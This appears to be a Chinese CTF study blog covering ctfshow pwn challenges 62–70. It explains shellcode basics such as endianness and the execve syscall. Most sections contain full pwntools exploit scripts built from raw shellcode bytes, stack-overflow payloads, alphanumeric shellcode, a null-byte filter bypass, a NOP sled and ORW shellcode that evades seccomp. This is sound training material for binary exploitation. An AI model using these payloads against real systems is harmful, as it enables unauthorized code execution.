开始正式学习shellcode了!
ret2shellcod 前置基础 大端序与小端序:
大端序和小端序是指计算机存储多字节数据类型(如整数、浮点数等)时字节的排列顺序。
大端序:一个多字节值的最高位字节(即“大端”)存储在最低的内存地址处,其余字节按照大小递减的顺序存储。这种排列方式类似于我们写数字时从最高位到最低位的顺序。
例如一个16位的二进制数0x1234在大端序存储系统中,它的存储方式如下:
1 2 3 内存地址 数据 0x00 0x12 0x01 0x34
小端序:一个多字节值的最低位字节(即“小端”)存储在最低的内存地址处,其余字节按照大小递增的顺序存储。这种排列方式类似于我们从最低位到最高位读取数字的顺序。
使用上面相同的16位二进制数0x1234,在小端序存储系统中,它的存储方式如下:
1 2 3 内存地址 数据 0x00 0x34 0x01 0x12
大多数现代个人电脑和服务器使用小端序存储,而某些大型机、网络协议和旧的计算机系统则使用大端序。
系统调用 32位程序执行系统调用获取shell
1 2 3 4 5 6 7 8 9 10 void __noreturn start () { int v0; char v1[10 ]; __int16 v2; v2 = 0 ; strcpy (v1, "/bin///sh" ); v0 = sys_execve(v1, 0 , 0 ); }
sys_execve
是一个在二进制漏洞利用中常见的ROPgadget,它用于执行系统调用 execve 。 execve 是一个在Unix-like操作系统中用于执行一个新程序的系统调用,其原型如下:
1 int execve (const char *filename, char *const argv[], char *const envp[]) ;
参数说明:
• filename :要执行的程序的路径。
• argv :传递给新程序的参数列表。
• envp :传递给新程序的环境变量列表。
在示例程序中, sys_execve(v1, 0, 0); 表示调用 execve 系统调用,其中:
• v1 指向要执行的程序路径·/bin/sh
。
• 第二个参数 0 表示没有传递任何参数给新程序。
• 第三个参数 0 表示没有传递任何环境变量给新程序。
/bin/sh 是一个程序路径,它指向大多数Unix-like系统中的shell程序。这里:
• /bin 是一个存放常用命令的目录。
• sh 是shell程序的文件名。
汇编:
1 2 3 4 5 6 7 8 9 push 0x68 ; 'h' push 0x732F2F2F `s///` push 0x6E69622F 'nib/' #因为是小端序所以倒序存放 mov ebx, esp ; file xor ecx, ecx ; argv xor edx, edx ; envp push 0Bh pop eax int 80h ; LINUX - sys_execve
系统调用号 1 2 3 4 5 read --> 0 write --> 1 opean --> 5 execve --> 59 sys_rt_sigreturn -->15
机器码 amd64小端序
1 2 syscall --> '\x0f''\x05' nop --> '\x90'
实操: shellcode编写 pwn62 exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *context(log_level='debug' ,arch='amd64' ,os = 'Linux' ) io = remote('pwn.challenge.ctf.show' ,28179 ) io.recvuntil('[' ) buf = io.recvuntil(']' ,drop=True ) buf = int (buf,16 ) shellcode = b"\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05" payload = b'a' *(0x10 +8 )+p64(buf+32 )+shellcode io.sendline(payload) io.interactive()
分析
64位程序,开了PIE程序会给出buf的地址,栈上可读可写可执行。
首先接收buf的地址,read函数规定了输入长度0x38,分配给buf 0x10故存在栈溢出
shellcode的最大长度=0x38-(0x10+8)-8=24bytes故不能用pwntools生成的shellcode(还没学会怎么写)
收集到的24bytes的shellcode:
1 b"\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
payload目前的理解(还不是很理解):
1 payload = b'a' *(0x10 +8 )+p64(buf+32 )+shellcode
b’a’*(0x10+8)垃圾数据填充到返回地址,因为开了PIE所以地址不确定只能用泄露出的buf地址,buf的后24字节上为leave,leave的作用相当于mov sp,bp; pop bp,会释放栈空间因此不能使用buf后的24字节,v5+24后的8个字节需要存放返回地址故shellcode只能放在buf+32后的位置上
pwn64 mmap 开了某种保护不代表这条路一定走不通,该题开了nx保护但是main函数中有一个mmap函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 int __cdecl main (int argc, const char **argv, const char **envp) { void *buf; buf = mmap(0 , 1024u , 7 , 34 , 0 , 0 ); alarm(0xA u); setvbuf(stdout , 0 , 2 , 0 ); setvbuf(_bss_start, 0 , 2 , 0 ); puts ("Some different!" ); if ( read(0 , buf, 1024u ) < 0 ) { puts ("Illegal entry!" ); exit (1 ); } (buf)(); return 0 ; }
buf = mmap(0, 1024u, 7, 34, 0, 0);
:调用 mmap 函数来映射 1024 字节的内存。 7 表示映射区域是可读、可写、可执行的( PROT_READ | PROT_WRITE | PROT_EXEC ), 34 可能是 MAP_PRIVATE | MAP_ANONYMOUS 的组合,表示创建一个私有的匿名映射。 0 和 0 分别表示文件描述符和映射的文件偏移量。
故buf指针所指向的内存区域是可执行的我们只需写入shellcode即可,因为最后(buf)();
会调用buf指向的函数
exp
1 2 3 4 5 6 7 8 9 10 11 from pwn import *context(log_level='debug' ,arch='i386' ,os = 'Linux' ) io = remote('pwn.challenge.ctf.show' ,28241 ) shellcode = asm(shellcraft.sh()) payload = shellcode io.sendline(payload) io.interactive()
pwn65 可见字符shell 这题需了解汇编cmp
cmp 是汇编语言中的一条指令,用于比较两个操作数的值。它通过执行减法操作(但不保存结果)来设置处理器的状态标志(如零标志ZF、符号标志SF、溢出标志OF等),从而为后续的条件跳转指令(如 jle(<=) 、 je/jz(=)、jne/jnz(!=)、jg(>)、jl(<) 、等)提供判断依据。
eg:cmp operand1, operand2
operand1 和 operand2 :可以是寄存器、内存地址或立即数。cmp 指令会计算 operand1 - operand2 的结果,并根据结果设置状态标志,但不会保存计算结果,只影响标志位
“你是一个好人”
check发现NX和canary都没开64位程序,开启PIE与完全开启RELRO 有RWX: Has RWX segments判断为自己写入shell到栈上执行
IDA打开无法反编译选择看汇编
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 .text:0000000000001155 buf= byte ptr -410h .text:0000000000001155 var_8= dword ptr -8 .text:0000000000001155 var_4= dword ptr -4 .text:0000000000001155 .text:0000000000001155 ; __unwind { .text:0000000000001155 55 push rbp .text:0000000000001156 48 89 E5 mov rbp, rsp .text:0000000000001159 48 81 EC 10 04 00 00 sub rsp, 410h .text:0000000000001160 BA 14 00 00 00 mov edx, 14h ; n .text:0000000000001165 48 8D 35 98 0E 00 00 lea rsi, aInputYouShellc ; "Input you Shellcode\n" .text:000000000000116C BF 01 00 00 00 mov edi, 1 ; fd .text:0000000000001171 B8 00 00 00 00 mov eax, 0 .text:0000000000001176 E8 B5 FE FF FF call _write .text:0000000000001176 .text:000000000000117B 48 8D 85 F0 FB FF FF lea rax, [rbp+buf] .text:0000000000001182 BA 00 04 00 00 mov edx, 400h ; nbytes .text:0000000000001187 48 89 C6 mov rsi, rax ; buf .text:000000000000118A BF 00 00 00 00 mov edi, 0 ; fd .text:000000000000118F B8 00 00 00 00 mov eax, 0 //eax清零用于存储read函数的返回值若读取了数据则eax为所读入的字节数未读入则为0 .text:0000000000001194 E8 B7 FE FF FF call _read .text:0000000000001194 .text:0000000000001199 89 45 F8 mov [rbp+var_8], eax .text:000000000000119C 83 7D F8 00 cmp [rbp+var_8], 0 //第一个比较,如果读取字节数大于零则跳转到loc_11AC .text:00000000000011A0 7F 0A jg short loc_11AC .text:00000000000011A0 .text:00000000000011A2 B8 00 00 00 00 mov eax, 0 .text:00000000000011A7 E9 A8 00 00 00 jmp locret_1254 //跳转到locret_1254结束函数 ....... .text:0000000000001254 locret_1254: ; CODE XREF: main+52↑j .text:0000000000001254 ; main+DF↑j .text:0000000000001254 C9 leave .text:0000000000001255 C3 retn .text:0000000000001255 ; } // starts at 1155
1 2 3 4 5 6 .text:00000000000011AC ; --------------------------------------------------------------------------- .text:00000000000011AC .text:00000000000011AC loc_11AC: ; CODE XREF: main+4B↑j .text:00000000000011AC C7 45 FC 00 00 00 00 mov [rbp+var_4], 0 .text:00000000000011B3 E9 82 00 00 00 jmp loc_123A .text:00000000000011B3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 .text:00000000000011B8 loc_11B8: ; CODE XREF: main+EB↓j .text:00000000000011B8 8B 45 FC mov eax, [rbp+var_4] .text:00000000000011BB 48 98 cdqe .text:00000000000011BD 0F B6 84 05 F0 FB FF FF movzx eax, [rbp+rax+buf] .text:00000000000011C5 3C 60 cmp al, 60h ; '`' .text:00000000000011C7 7E 11 jle short loc_11DA //<=60h则跳转到loc_11DA .text:00000000000011C7 .text:00000000000011C9 8B 45 FC mov eax, [rbp+var_4] .text:00000000000011CC 48 98 cdqe .text:00000000000011CE 0F B6 84 05 F0 FB FF FF movzx eax, [rbp+rax+buf] .text:00000000000011D6 3C 7A cmp al, 7Ah ; 'z' .text:00000000000011D8 7E 5C jle short loc_1236 //<=74h则跳转到loc_1236 .text:00000000000011D8 .text:00000000000011DA
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 .text:00000000000011DA loc_11DA: ; CODE XREF: main+72↑j .text:00000000000011DA 8B 45 FC mov eax, [rbp+var_4] .text:00000000000011DD 48 98 cdqe .text:00000000000011DF 0F B6 84 05 F0 FB FF FF movzx eax, [rbp+rax+buf] .text:00000000000011E7 3C 40 cmp al, 40h ; '@' .text:00000000000011E9 7E 11 jle short loc_11FC //<=40h则跳转到 loc11_FC .text:00000000000011E9 .text:00000000000011EB 8B 45 FC mov eax, [rbp+var_4] .text:00000000000011EE 48 98 cdqe .text:00000000000011F0 0F B6 84 05 F0 FB FF FF movzx eax, [rbp+rax+buf] .text:00000000000011F8 3C 5A cmp al, 5Ah ; 'Z' .text:00000000000011FA 7E 3A jle short loc_1236 //<=5A则跳转 loc_1236 .text:00000000000011FA .text:00000000000011FC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 .text:00000000000011FC loc_11FC: ; CODE XREF: main+94↑j .text:00000000000011FC 8B 45 FC mov eax, [rbp+var_4] .text:00000000000011FF 48 98 cdqe //将32位寄存器eax的值扩展到64位寄存器rax,同时保持符号位不变。这一步是为了确保后续的地址计算可以正确处理64位地址。 .text:0000000000001201 0F B6 84 05 F0 FB FF FF movzx eax, [rbp+rax+buf] .text:0000000000001209 3C 2F cmp al, 2Fh ; '/' .text:000000000000120B 7E 11 jle short loc_121E //<=2F则跳转loc_121E .text:000000000000120B .text:000000000000120D 8B 45 FC mov eax, [rbp+var_4] .text:0000000000001210 48 98 cdqe .text:0000000000001212 0F B6 84 05 F0 FB FF FF movzx eax, [rbp+rax+buf] .text:000000000000121A 3C 5A cmp al, 5Ah ; 'Z' .text:000000000000121C 7E 18 jle short loc_1236 //<=5A则跳转 loc_1236 .text:000000000000121C .text:000000000000121E
1 2 3 4 5 6 7 8 .text:000000000000121E loc_121E: ; CODE XREF: main+B6↑j .text:000000000000121E 48 8D 3D F4 0D 00 00 lea rdi, format ; "Good,but not right" .text:0000000000001225 B8 00 00 00 00 mov eax, 0 .text:000000000000122A E8 11 FE FF FF call _printf .text:000000000000122A .text:000000000000122F B8 00 00 00 00 mov eax, 0 .text:0000000000001234 EB 1E jmp short locret_1254 .text:0000000000001234
1 2 3 4 5 6 .text:0000000000001236 loc_1236: ; CODE XREF: main+83↑j .text:0000000000001236 ; main+A5↑j .text:0000000000001236 ; main+C7↑j .text:0000000000001236 83 45 FC 01 add [rbp+var_4], 1 //循环计时器加一,用于遍历整个buf .text:0000000000001236
1 2 3 4 5 6 7 8 9 10 11 12 13 .text:000000000000123A loc_123A: ; CODE XREF: main+5E↑j .text:000000000000123A 8B 45 FC mov eax, [rbp+var_4] .text:000000000000123D 3B 45 F8 cmp eax, [rbp+var_8] .text:0000000000001240 0F 8C 72 FF FF FF jl loc_11B8 // [rbp+var_4]<[rbp+var_8]则跳转到loc_11B8 .text:0000000000001240 .text:0000000000001246 48 8D 85 F0 FB FF FF lea rax, [rbp+buf] .text:000000000000124D FF D0 call rax //执行buf上的代码 .text:000000000000124D .text:000000000000124F B8 00 00 00 00 mov eax, 0 .text:000000000000124F .text:0000000000001254
buf中允许写入的字符范围为以下 ASCII 字符:
数字 0-9
十六进制范围 : 0x30
(字符 0
) 至 0x39
(字符 9
)。
符号 : ; < = > ? @
十六进制范围 : 0x3A
(字符 :
) 至 0x40
(字符 @
)。
大写字母 A-Z
十六进制范围 : 0x41
(字符 A
) 至 0x5A
(字符 Z
)。
小写字母 a-z
十六进制范围 : 0x61
(字符 a
) 至 0x7A
(字符 z
)。
即可见字符string.printable,所以我我们需要可见字符shellcode,可使用alpha3生成。
1 git clone https://github.com/TaQini/alpha3.git
使用alpha3生成string.printable
1 2 cd alpha3python ./ALPHA3.py x64 ascii mixxedcase rax --input="shellcode" > 输出文件
完整exp
1 2 3 4 5 6 7 from pwn import *context(log_level='debug' ,arch='amd64' ,os = 'Linux' ) io = remote('pwn.challenge.ctf.show' ,28187 ) shellcode = "Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t" io.send (shellcode) io.interactive()
pwn66 “\x00”绕检查 题目:简单的shellcode?不对劲,十分得有十二分的不对劲
检查:开了nx没开canary
main函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 int __cdecl main (int argc, const char **argv, const char **envp) { void *buf; init(argc, argv, envp); logo(); buf = mmap(0LL , 0x1000 uLL, 7 , 34 , 0 , 0LL ); puts ("Your shellcode is :" ); read(0 , buf, 0x200 uLL); if ( !check(buf) ) { printf (" ERROR !" ); exit (0 ); } (buf)(buf); return 0 ; }
分析可知mmap给了buf地址处可读可写可执行的段大小为0x1000uLL,通过read读入shell最(buf)(buf)
执行shell但是中间要过一个check()
检查故该题只需绕过check检查使其返回值为1并写入shell即可
check函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 __int64 __fastcall check (_BYTE *a1) { _BYTE *i; while ( *a1 ) { for ( i = &unk_400F20; *i && *i != *a1; ++i ) ; if ( !*i ) return 0LL ; ++a1; } return 1LL ; } ----------------------------------------------- &unk_400F20: .rodata:0000000000400F 20 5 A unk_400F20 db 5 Ah ; Z ; DATA XREF: check+8 ↑o .rodata:0000000000400F 21 5 A db 5 Ah ; Z .rodata:0000000000400F 22 4 A db 4 Ah ; J .rodata:0000000000400F 23 20 db 20 h .rodata:0000000000400F 24 6 C db 6 Ch ; l .rodata:0000000000400F 25 6F db 6F h ; o .rodata:0000000000400F 26 76 db 76 h ; v .rodata:0000000000400F 27 65 db 65 h ; e .rodata:0000000000400F 28 73 db 73 h ; s .rodata:0000000000400F 29 20 db 20 h .rodata:0000000000400F 2A 73 db 73 h ; s .rodata:0000000000400F 2B 68 db 68 h ; h .rodata:0000000000400F 2C 65 db 65 h ; e .rodata:0000000000400F 2D 6 C db 6 Ch ; l .rodata:0000000000400F 2E 6 C db 6 Ch ; l .rodata:0000000000400F 2F 5F db 5F h ; _ .rodata:0000000000400F 30 63 db 63 h ; c .rodata:0000000000400F 31 6F db 6F h ; o .rodata:0000000000400F 32 64 db 64 h ; d .rodata:0000000000400F 33 65 db 65 h ; e .rodata:0000000000400F 34 2 C db 2 Ch ; , .rodata:0000000000400F 35 61 db 61 h ; a .rodata:0000000000400F 36 6 E db 6 Eh ; n .rodata:0000000000400F 37 64 db 64 h ; d .rodata:0000000000400F 38 20 db 20 h .rodata:0000000000400F 39 68 db 68 h ; h .rodata:0000000000400F 3A 65 db 65 h ; e .rodata:0000000000400F 3B 72 db 72 h ; r .rodata:0000000000400F 3C 65 db 65 h ; e .rodata:0000000000400F 3D 20 db 20 h .rodata:0000000000400F 3E 69 db 69 h ; i .rodata:0000000000400F 3F 73 db 73 h ; s .rodata:0000000000400F 40 20 db 20 h .rodata:0000000000400F 41 61 db 61 h ; a .rodata:0000000000400F 42 20 db 20 h .rodata:0000000000400F 43 67 db 67 h ; g .rodata:0000000000400F 44 69 db 69 h ; i .rodata:0000000000400F 45 66 db 66 h ; f .rodata:0000000000400F 46 74 db 74 h ; t .rodata:0000000000400F 47 3 A db 3 Ah ; : .rodata:0000000000400F 48 0F db 0F h .rodata:0000000000400F 49 05 db 5 .rodata:0000000000400F 4A 20 db 20 h .rodata:0000000000400F 4B 65 db 65 h ; e .rodata:0000000000400F 4C 6 E db 6 Eh ; n .rodata:0000000000400F 4D 6 A db 6 Ah ; j .rodata:0000000000400F 4E 6F db 6F h ; o .rodata:0000000000400F 4F 79 db 79 h ; y .rodata:0000000000400F 50 20 db 20 h .rodata:0000000000400F 51 69 db 69 h ; i .rodata:0000000000400F 52 74 db 74 h ; t .rodata:0000000000400F 53 21 db 21 h ; ! .rodata:0000000000400F 54 0 A db 0 Ah .rodata:0000000000400F 55 00 db 0
&unk_400F20是一个白名单,输入的shellcode的每一位字符要在unk_400F20中。内容为:ZZJ loves shell_code, and here is a gift: \x0F\x05 (syscall指令) enjoy it!\n
两种思路一是使用白名单中的字符构造shell,二是绕过while循环将输入以”\x00”开头
尝试了可见字符shell没能成功所以选择思路二:
首先寻找”\x00”开头的汇编(为什么一定要找合法汇编呢,因为如果只输入一个”\x00”则在后续执行(buf)(buf)时导致执行无效指令(add [rax],al
),引发崩溃故使用”\x00\xc0”这一合法空指令能保证后续汇编正常执行)
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *from itertools import *import refor i in range (1 ,3 ): for j in product([p8(k) for k in range (256 )],repeat=i): payload = b"\x00" + b"" .join(j) res = disasm(payload) if (res != " ..." and not re.search(r"\[\w*?\]" ,res) and ".byte" not in res): print (res) input ()
代码结构分析 :
外层循环生成1字节和2字节的机器码组合(共256种单字节和65536种双字节组合)
每个payload以\x00
字节开头,后接生成的随机字节
使用pwntools的disasm()
进行反汇编
筛选条件 :
必须能生成有效汇编指令(排除反汇编失败的...
结果)
不允许包含内存访问指令(如mov eax, [ebx]
)
不允许出现.byte
伪指令(确保所有字节都能被识别为有效指令)
典型应用场景 :
寻找可用于缓冲区溢出的短指令(如shellcode)
测试反汇编器的容错能力
研究指令编码的边界情况
很容易的找到了
故exp如下:
1 2 3 4 5 6 7 from pwn import *context(log_level='debug' ,arch='amd64' ,os = 'Linux' ) io = process("./pwn" ) shellcode =b'\x00\xc0' + asm(shellcraft.sh()) io.sendline(shellcode) io.interactive()
pwn67 nop seld空操作雪橇32位
什么是nop sled nop是一条不做任何操作的单指令,对应的十六进制编码为0x90。这里nop将被用作欺骗因子。通过创建一个大的NOP指令数组并将其放在shellcode之前,如果EIP返回到存储nop sled的任意地址,那么在达到shellcode之前,每执行一条nop指令,EIP都会递增。这就是说只要返回地址被nop sled中的某一地址所重写,EIP就会将sled滑向将正常执行的shellcode。
也就是我们现在栈中的某个位置填入大量nop指令,后边再接上我们的shellcode,然后我们控制程序的执行流从我们nop指令开始执行,那么程序就会一直执行我们之前填入的nop,执行nop之后就是我们的shellcode了,这样程序就成功的被我们pwn掉了。
使用nop sled的情况是栈上地址在一定的范围内随机,攻击者不能够知道栈上可返回的精确地址故可通过nop滑到攻击代码处。
分析该题:
check:32位程序只开了canary 栈上可执行
main函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 int __cdecl main (int argc, const char **argv, const char **envp) { int position; void (*v5)(void ); unsigned int seed[1027 ]; seed[1025 ] = &argc; seed[1024 ] = __readgsdword(0x14 u); setbuf(stdout , 0 ); logo(); srand(seed); Loading(); acquire_satellites(); position = query_position(); printf ("We need to load the ctfshow_flag.\nThe current location: %p\n" , position); printf ("What will you do?\n> " ); fgets(seed, 4096 , stdin ); printf ("Where do you start?\n> " ); __isoc99_scanf("%p" , &v5); v5(); return 0 ; }
query_position函数:
1 2 3 4 5 6 7 8 9 10 11 12 char *query_position () { char v1; int v2; char *v3; unsigned int v4; v4 = __readgsdword(0x14 u); v2 = rand() % 1337 - 668 ; v3 = &v1 + v2; return &v1 + v2; }
由于v1是局部变量所以v1在栈上可据此获得一栈上地址,因为栈上可执行可通过fgets注入shellcode,观察到最后执行v5()函数v5地址从键盘获取输入,故可将此地址改为接近攻击代码的栈上地址即可通过nop滑行到正确地址获取shell。
地址计算:v2=rand()%1337 - 668
取模运算保证随机数在0到1336之间,故v2范围为-668~668,需要找到v1距离seed的距离
0x15(v1-ebp)+4(ebp)+4(返回地址)+16(0x10)(#最后这16个字节有点没搞懂去掉其实也能跑通)
栈上布局(图来自https://blog.csdn.net/weixin_52635170/article/details/131985518)
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *context.arch = "i386" io = remote('pwn.challenge.ctf.show' ,28290 ) io.recvuntil(b'current location: ' ) addr = eval (io.recvuntil(b"\n" ,drop=True )) print (hex (addr))shellcode = b'\x90' *1336 + asm(shellcraft.sh()) io.recvuntil(b"> " ) io.sendline(shellcode) io.recvuntil(b"> " ) addr_v5=addr+0x2d +668 io.sendline(hex (addr_v5)) io.interactive()
pwn69系统调用函数 新知识:
沙盒过滤 1 2 3 4 5 6 7 8 9 10 11 __int64 sub_400949 () { __int64 v1; v1 = seccomp_init (0LL ); seccomp_rule_add (v1, 2147418112LL , 0LL , 0LL ); seccomp_rule_add (v1, 2147418112LL , 1LL , 0LL ); seccomp_rule_add (v1, 2147418112LL , 2LL , 0LL ); seccomp_rule_add (v1, 2147418112LL , 60LL , 0LL ); return seccomp_load (v1); }
可以用seccomp-tools dump ./pwn
查看沙箱禁用:
可以看到我们可以用的函数有read write opean exit
分析此题:
保护只开了部分 RELRO,main函数中有mmap函数分配了一段可读可写可执行的内存,有沙箱只能使用read write opean exit函数,题目提示用ORW权限去输出位于/ctfshow_flag下的flag,故我们可以opean–>read–>write,来获取flag
sub_400A16函数中有栈溢出漏洞,发现有jmp rsp
故可以在mmap分配的内存中写入opean–>read–>write的系统调用shell在buf里先调用read往mmap处写入0x100的内容即(opean–>read–>write)接着跳转执行。
ROP顺序为buf处溢出跳转执行buf上写入了的内容,接着调用read写入(opean–>read–>write)到mmap里并跳转执行
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *context.log_level = 'debug' context.arch = 'amd64' io = remote('pwn.challenge.ctf.show' , 28296 ) mmap = 0x123000 jmp_rsp = 0x400A01 orw_shellcode = shellcraft.open ('/ctfshow_flag' ) orw_shellcode += shellcraft.read('3' , mmap, 100 ) orw_shellcode += shellcraft.write(1 , mmap, 100 ) orw_shellcode = asm(orw_shellcode) payload = asm(shellcraft.read(0 ,mmap,0x100 ))+asm("mov rax,0x123000; jmp rax" ) payload = payload.ljust(0x28 ,b'a' ) payload += p64(jmp_rsp) + asm('sub rsp,0x30;jmp rsp' ) io.sendline(payload) io.sendline(orw_shellcode) io.interactive()
shellcraft可以用来自动生成提权shell的汇编也可以用来生成调用函数的汇编,但还是需要学怎么自己搓,自动化工具不好控制字节数。
pwn70 64位orw 介绍几个新函数:
bzero 是一个在 Unix 和类 Unix 系统中常用的函数,用于将一块内存区域的内容设置为零
s:指向要清零的内存区域 ;n:要清零的字节数
分析本题:题目提示flag位于/flag下故应该也是一题orw的题
check发现只开了canary和部分RELRO,
ida打开发现main函数无法编译出伪代码,发现main函数中有一个call rax
该处极有可能用于最后执行shellcode
nop掉之后得到的main函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 int __cdecl main (int argc, const char **argv, const char **envp) { char s[104 ]; unsigned __int64 v5; v5 = __readfsqword(0x28 u); init(); set_secommp(); bzero(s, 0x68 uLL); logo(); puts ("Welcome,tell me your name:" ); s[(read(0 , s, 100uLL ) - 1 )] = 0 ; if ( !is_printable(s) ) puts ("It must be a printable name!" ); return 0 ; }
需要关注的有set_secommp()此处使用了沙盒过滤,貌似禁用了execve可以用系统调用号<0x40000000的函数
下方为main函数汇编:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 .text:0000000000400AC1 48 8D 45 90 lea rax, [rbp+s] .text:0000000000400AC5 BA 64 00 00 00 mov edx, 64h ; 'd' ; nbytes .text:0000000000400ACA 48 89 C6 mov rsi, rax ; buf .text:0000000000400ACD BF 00 00 00 00 mov edi, 0 ; fd .text:0000000000400AD2 B8 00 00 00 00 mov eax, 0 .text:0000000000400AD7 E8 C4 FB FF FF call _read .text:0000000000400AD7 .text:0000000000400ADC 83 E8 01 sub eax, 1 .text:0000000000400ADF 48 98 cdqe .text:0000000000400AE1 C6 44 05 90 00 mov [rbp+rax+s], 0 .text:0000000000400AE6 48 8D 45 90 lea rax, [rbp+s] .text:0000000000400AEA 48 89 C7 mov rdi, rax .text:0000000000400AED E8 F8 FD FF FF call is_printable .text:0000000000400AED .text:0000000000400AF2 85 C0 test eax, eax .text:0000000000400AF4 74 08 jz short loc_400AFE .text:0000000000400AF4 .text:0000000000400AF6 48 8D 45 90 lea rax, [rbp+s] .text:0000000000400AFA FF D0 call rax
可以发现read读入的数据存放的地址为 [rbp+s] 最后调用的rax也等于 [rbp+s]故只要在read处写入orw即可,但是进入到is_printable会检查每一个字符是否可打印,我们的汇编转为机器码后变为二进制数据,其中通常会有很多不可打印字符,故需要绕过该循环防止程序直接通过跳过call rax导致shellcode无法执行
相关汇编:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 .text:0000000000400AED E8 F8 FD FF FF call is_printable .text:0000000000400AED .text:0000000000400AF2 85 C0 test eax, eax .text:0000000000400AF4 74 08 jz short loc_400AFE ;如果有不可打印字符则jz到loc_400AFE .text:0000000000400AF4 .text:0000000000400AF6 48 8D 45 90 lea rax, [rbp+s] .text:0000000000400AFA 90 call rax .text:0000000000400AFB 90 .text:0000000000400AFC EB 0C jmp short loc_400B0A .text:0000000000400AFC .text:0000000000400AFE ; --------------------------------------------------------------------------- .text:0000000000400AFE ;在下方继续执行 .text:0000000000400AFE loc_400AFE: ; CODE XREF: main+8C↑j .text:0000000000400AFE 48 8D 3D F5 05 00 00 lea rdi, aItMustBeAPrint ; "It must be a printable name!" .text:0000000000400B05 E8 56 FB FF FF call _puts .text:0000000000400B05 .text:0000000000400B0A .text:0000000000400B0A loc_400B0A: ; CODE XREF: main+94↑j .text:0000000000400B0A B8 00 00 00 00 mov eax, 0 .text:0000000000400B0F 48 8B 4D F8 mov rcx, [rbp+var_8] .text:0000000000400B13 64 48 33 0C 25 28 00 00 00 xor rcx, fs:28h .text:0000000000400B1C 74 05 jz short locret_400B23 .text:0000000000400B1C .text:0000000000400B1E E8 5D FB FF FF call ___stack_chk_fail .text:0000000000400B1E .text:0000000000400B23 ; --------------------------------------------------------------------------- .text:0000000000400B23 .text:0000000000400B23 locret_400B23: ; CODE XREF: main+B4↑j .text:0000000000400B23 C9 leave .text:0000000000400B24 C3 retn
shellcode以’\x00’开头即可截断strlen
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) io = remote('pwn.challenge.ctf.show' ,28127 ) elf = ELF('./pwn' ) shellcode = ''' push 0 ;绕strlean mov r15, 0x67616c66 ;flag push r15 ;将flag压入栈 mov rdi, rsp ;此时rsp指向r15故为将flag的地址给rdi作为opean的地址 mov rsi, 0 ;只读的方式打开 mov rax, 2 ;rax=2对应调用opean syscall ''' shellcode += ''' mov r14, 3 ;文件描述符一般从3开始即opean返回的3存入r14 mov rdi, r14 ;将文件描述符放入rdi mov rsi, rsp ;rsp为flag的地址读取flag中的内容 mov rdx, 0xff ;可read0xff大小的内容 mov rax, 0 ;rax=0对应调用read syscall ''' shellcode +=''' mov rdi, 1 ;写入到标准输出 mov rsi, rsp ;rsp为flag的地址写出flag中的内容 mov rdx, 0xff ;可write0xff大小的内容 mov rax, 1 ;rax=1对应调用write syscall ''' shellcode = asm(shellcode) io.recvuntil('Welcome,tell me your name:\n' ) io.sendline(shellcode) io.interactive()